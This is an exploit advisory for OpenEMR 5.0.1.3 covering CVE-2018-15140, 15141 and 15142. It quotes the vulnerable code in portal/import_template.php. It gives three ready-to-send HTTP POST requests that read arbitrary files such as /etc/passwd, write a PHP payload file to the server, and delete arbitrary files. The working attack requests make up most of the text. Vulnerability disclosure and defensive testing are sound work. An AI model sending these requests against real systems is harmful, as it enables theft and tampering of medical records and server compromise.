# Exploit Title: OpenEMR 5.0.1.3 - Arbitrary File Actions# Date: 2018-08-14# Exploit Author: Joshua Fam# Twitter : @Insecurity# Vendor Homepage: https://www.open-emr.org/# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz# Version: < 5.0.1.3 # Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3# CVE : CVE-2018-15142,CVE-2018-15141,CVE-2018-15140# 1.Arbitrary File Read:# In OpenEmr a user that has access to the portal can send a malcious # POST request to read arbitrary files.# i.Vulnerable Code: #if ($_POST['mode'] == 'get') {#echo file_get_contents($_POST['docid']);#exit;#}# ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq;PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26mode=get&docid=/etc/passwd
# 2.Arbitrary File Write:# In OpenEmr a user that has access to the portal can send a malcious # POST request to write arbitrary files.#i. Vulnerable Code: #} else if ($_POST['mode'] == 'save') {#file_put_contents($_POST['docid'], $_POST['content']);#exit(true);#}#ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq;PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54mode=save&docid=payload.php&content=<?php phpinfo();?># After sending this navigate to payload.php at http://hostname/openemr/portal# 3. Arbitrary File Delete:# In OpenEmr a user that has access to the portal can send a malcious # POST request to delete a arbitrary file.#i. Vulnerable Code:# } else if ($_POST['mode'] == 'delete') {# unlink($_POST['docid']);# exit(true);# }#ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq;PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29mode=delete&docid=payload.php
# After completing this request, when you navigate to payload.php, you should be greeted by a 404 page.